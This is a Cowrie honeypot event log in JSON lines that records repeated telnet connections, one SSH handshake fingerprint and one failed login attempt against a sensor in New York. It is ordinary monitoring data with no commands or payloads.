{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58354,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1ed1c17856","protocol":"telnet","message":"New connection: 167.71.198.239:58354 (159.203.135.109:23) [session: 8a1ed1c17856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:25.068460Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59424,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c689c594ff3","protocol":"telnet","message":"New connection: 167.71.198.239:59424 (159.203.135.109:23) [session: 5c689c594ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:26.784359Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57964,"dst_ip":"10.17.0.5","dst_port":23,"session":"f830f7361c71","protocol":"telnet","message":"New connection: 85.190.254.94:57964 (10.17.0.5:23) [session: f830f7361c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:26.898612Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6aebb92aeb","protocol":"telnet","message":"New connection: 85.190.254.94:59872 (10.17.0.5:23) [session: 3d6aebb92aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:27.346047Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":46914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9a23e4ab28c","protocol":"telnet","message":"New connection: 136.244.67.81:46914 (159.203.135.109:23) [session: b9a23e4ab28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:27.511194Z"}
{"eventid":"cowrie.session.closed","duration":31.526064157485962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:27.528337Z","src_ip":"85.190.254.94","session":"6d27956bc3a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f682abc1dcc9","protocol":"telnet","message":"New connection: 167.71.198.239:33410 (159.203.135.109:23) [session: f682abc1dcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:27.638735Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33710,"dst_ip":"159.203.135.109","dst_port":23,"session":"5489c4e58837","protocol":"telnet","message":"New connection: 167.71.198.239:33710 (159.203.135.109:23) [session: 5489c4e58837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:27.782318Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":34174,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc569c77d44c","protocol":"telnet","message":"New connection: 167.71.198.239:34174 (159.203.135.109:23) [session: dc569c77d44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:28.317349Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41644a4641d","protocol":"telnet","message":"New connection: 85.190.254.94:36422 (10.17.0.5:23) [session: a41644a4641d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:28.751479Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64a1c0c797d","protocol":"ssh","message":"New connection: 159.203.92.129:36602 (159.203.135.109:22) [session: f64a1c0c797d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.111723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.115802Z","src_ip":"159.203.92.129","session":"f64a1c0c797d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.120011Z","src_ip":"159.203.92.129","session":"f64a1c0c797d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1111111","message":"login attempt [alias/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.129286Z","src_ip":"159.203.92.129","session":"f64a1c0c797d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.411778211593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.221205Z","src_ip":"167.71.198.239","session":"c2a93222d199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":36118,"dst_ip":"159.203.135.109","dst_port":23,"session":"849164cdddbb","protocol":"telnet","message":"New connection: 167.71.198.239:36118 (159.203.135.109:23) [session: 849164cdddbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.710533Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf1e6502748","protocol":"telnet","message":"New connection: 85.190.254.94:40218 (10.17.0.5:23) [session: 0bf1e6502748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:29.836723Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41160,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d6bcbc38fd","protocol":"telnet","message":"New connection: 85.190.254.94:41160 (10.17.0.5:23) [session: 53d6bcbc38fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.086011Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.137980Z","src_ip":"159.203.92.129","session":"f64a1c0c797d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42256,"dst_ip":"10.17.0.5","dst_port":23,"session":"7380d8b9b141","protocol":"telnet","message":"New connection: 85.190.254.94:42256 (10.17.0.5:23) [session: 7380d8b9b141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.383737Z"}
{"eventid":"cowrie.session.closed","duration":31.461851358413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.389319Z","src_ip":"167.71.198.239","session":"e42c3b91e80f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":37278,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bb782c130a","protocol":"telnet","message":"New connection: 167.71.198.239:37278 (159.203.135.109:23) [session: 20bb782c130a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.625837Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":37298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8d522ea8ea","protocol":"telnet","message":"New connection: 167.71.198.239:37298 (159.203.135.109:23) [session: 2e8d522ea8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.630872Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43302,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff7c2d48063","protocol":"telnet","message":"New connection: 85.190.254.94:43302 (10.17.0.5:23) [session: 8ff7c2d48063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.643816Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44532,"dst_ip":"10.17.0.5","dst_port":23,"session":"89dc5205f80c","protocol":"telnet","message":"New connection: 85.190.254.94:44532 (10.17.0.5:23) [session: 89dc5205f80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:30.979287Z"}
{"eventid":"cowrie.session.closed","duration":30.237404108047485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:32.092712Z","src_ip":"85.190.254.94","session":"bd5e32c52858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48798,"dst_ip":"10.17.0.5","dst_port":23,"session":"6341c3aecdcd","protocol":"telnet","message":"New connection: 85.190.254.94:48798 (10.17.0.5:23) [session: 6341c3aecdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:32.227194Z"}
{"eventid":"cowrie.session.closed","duration":30.635936975479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:32.497272Z","src_ip":"167.71.198.239","session":"ee34c188fe35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":39916,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a447fbd8be","protocol":"telnet","message":"New connection: 167.71.198.239:39916 (159.203.135.109:23) [session: 17a447fbd8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:32.725903Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"d81092498b76","protocol":"telnet","message":"New connection: 167.71.198.239:39920 (159.203.135.109:23) [session: d81092498b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:32.730078Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52386,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5124ca3198a","protocol":"telnet","message":"New connection: 85.190.254.94:52386 (10.17.0.5:23) [session: c5124ca3198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:33.262380Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6812de071c85","protocol":"telnet","message":"New connection: 85.190.254.94:55352 (10.17.0.5:23) [session: 6812de071c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:34.128041Z"}
{"eventid":"cowrie.session.closed","duration":30.32017755508423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:34.164540Z","src_ip":"167.71.198.239","session":"3fb19f13b045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713914155960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:34.186573Z","src_ip":"167.71.198.239","session":"5a33f11d8c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57260,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d3a47cab57","protocol":"telnet","message":"New connection: 85.190.254.94:57260 (10.17.0.5:23) [session: a1d3a47cab57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:34.660317Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58434,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de71d51aeb8","protocol":"telnet","message":"New connection: 85.190.254.94:58434 (10.17.0.5:23) [session: 9de71d51aeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:34.984385Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ad49d60e5d","protocol":"telnet","message":"New connection: 85.190.254.94:60248 (10.17.0.5:23) [session: 85ad49d60e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:35.458874Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60862,"dst_ip":"10.17.0.5","dst_port":23,"session":"33aae27225b0","protocol":"telnet","message":"New connection: 85.190.254.94:60862 (10.17.0.5:23) [session: 33aae27225b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:35.629565Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":32850,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0f86b11325b","protocol":"telnet","message":"New connection: 85.190.254.94:32850 (10.17.0.5:23) [session: e0f86b11325b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:35.697919Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":33988,"dst_ip":"10.17.0.5","dst_port":23,"session":"e70a1b1c4ef0","protocol":"telnet","message":"New connection: 85.190.254.94:33988 (10.17.0.5:23) [session: e70a1b1c4ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:36.046201Z"}
{"eventid":"cowrie.session.closed","duration":30.532860040664673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:36.104797Z","src_ip":"85.190.254.94","session":"49b2d30cccd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643669366836548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:36.206025Z","src_ip":"167.71.198.239","session":"f9455d9c5689","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701863765716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:37.336272Z","src_ip":"167.71.198.239","session":"97dd9efb6b06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5756196975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.111708Z","src_ip":"85.190.254.94","session":"683bf58f83cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50891137123108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.216690Z","src_ip":"167.71.198.239","session":"0be9bd300d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637465000152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.325396Z","src_ip":"167.71.198.239","session":"a21eb74c1ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.581753730773926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.531635Z","src_ip":"85.190.254.94","session":"0b6ead4066d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44336,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4ae70a9205","protocol":"telnet","message":"New connection: 85.190.254.94:44336 (10.17.0.5:23) [session: 7d4ae70a9205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.614587Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45454,"dst_ip":"10.17.0.5","dst_port":23,"session":"04136e02ce29","protocol":"telnet","message":"New connection: 85.190.254.94:45454 (10.17.0.5:23) [session: 04136e02ce29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:38.918561Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45956,"dst_ip":"10.17.0.5","dst_port":23,"session":"458d5c3c71df","protocol":"telnet","message":"New connection: 85.190.254.94:45956 (10.17.0.5:23) [session: 458d5c3c71df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:39.066215Z"}
{"eventid":"cowrie.session.closed","duration":31.119637727737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:39.176741Z","src_ip":"85.190.254.94","session":"3242a0b99902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.474458932876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:39.253541Z","src_ip":"167.71.198.239","session":"16a68b918510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf018051866","protocol":"telnet","message":"New connection: 85.190.254.94:48988 (10.17.0.5:23) [session: 2cf018051866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.020853Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac7f167f186","protocol":"telnet","message":"New connection: 85.190.254.94:49246 (10.17.0.5:23) [session: 8ac7f167f186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.099454Z"}
{"eventid":"cowrie.session.closed","duration":31.03923487663269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.195826Z","src_ip":"85.190.254.94","session":"c2264480ac1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522299766540527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.201031Z","src_ip":"167.71.198.239","session":"805b77f85005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466323137283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.254696Z","src_ip":"167.71.198.239","session":"4a2f2188fbf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76011610031128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.262656Z","src_ip":"167.71.198.239","session":"b167ac3ef057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.813364505767822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:40.433848Z","src_ip":"167.71.198.239","session":"6e9ea051dd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":43314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c79dc5847325","protocol":"telnet","message":"New connection: 136.244.67.81:43314 (159.203.135.109:23) [session: c79dc5847325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:41.214318Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"027e514bbe63","protocol":"telnet","message":"New connection: 85.190.254.94:56016 (10.17.0.5:23) [session: 027e514bbe63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:42.111961Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56380,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1df1f4dd6f4","protocol":"telnet","message":"New connection: 85.190.254.94:56380 (10.17.0.5:23) [session: d1df1f4dd6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:42.222282Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57412,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18533962364","protocol":"telnet","message":"New connection: 85.190.254.94:57412 (10.17.0.5:23) [session: d18533962364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:42.513211Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57934,"dst_ip":"10.17.0.5","dst_port":23,"session":"d024a1e99482","protocol":"telnet","message":"New connection: 85.190.254.94:57934 (10.17.0.5:23) [session: d024a1e99482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:42.671774Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"80196b9108c5","protocol":"telnet","message":"New connection: 85.190.254.94:59068 (10.17.0.5:23) [session: 80196b9108c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:43.027807Z"}
{"eventid":"cowrie.session.closed","duration":30.21468162536621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:43.092736Z","src_ip":"85.190.254.94","session":"f8158dbb750f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3b1a51a152","protocol":"telnet","message":"New connection: 85.190.254.94:60880 (10.17.0.5:23) [session: 3f3b1a51a152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:43.538115Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":51876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46593ee1eec","protocol":"telnet","message":"New connection: 136.244.67.81:51876 (159.203.135.109:23) [session: d46593ee1eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:43.717473Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":55200,"dst_ip":"159.203.135.109","dst_port":23,"session":"d254a3b83897","protocol":"telnet","message":"New connection: 167.71.198.239:55200 (159.203.135.109:23) [session: d254a3b83897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:44.043308Z"}
{"eventid":"cowrie.session.closed","duration":30.60276198387146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:44.264782Z","src_ip":"167.71.198.239","session":"4d86174312dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49956,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf96e0d814b","protocol":"telnet","message":"New connection: 167.71.198.239:49956 (159.203.135.109:23) [session: fdf96e0d814b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:44.363272Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":55942,"dst_ip":"159.203.135.109","dst_port":23,"session":"2069e731e4aa","protocol":"telnet","message":"New connection: 167.71.198.239:55942 (159.203.135.109:23) [session: 2069e731e4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:44.654967Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56214,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e0f9cd9657","protocol":"telnet","message":"New connection: 167.71.198.239:56214 (159.203.135.109:23) [session: 81e0f9cd9657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:44.824291Z"}
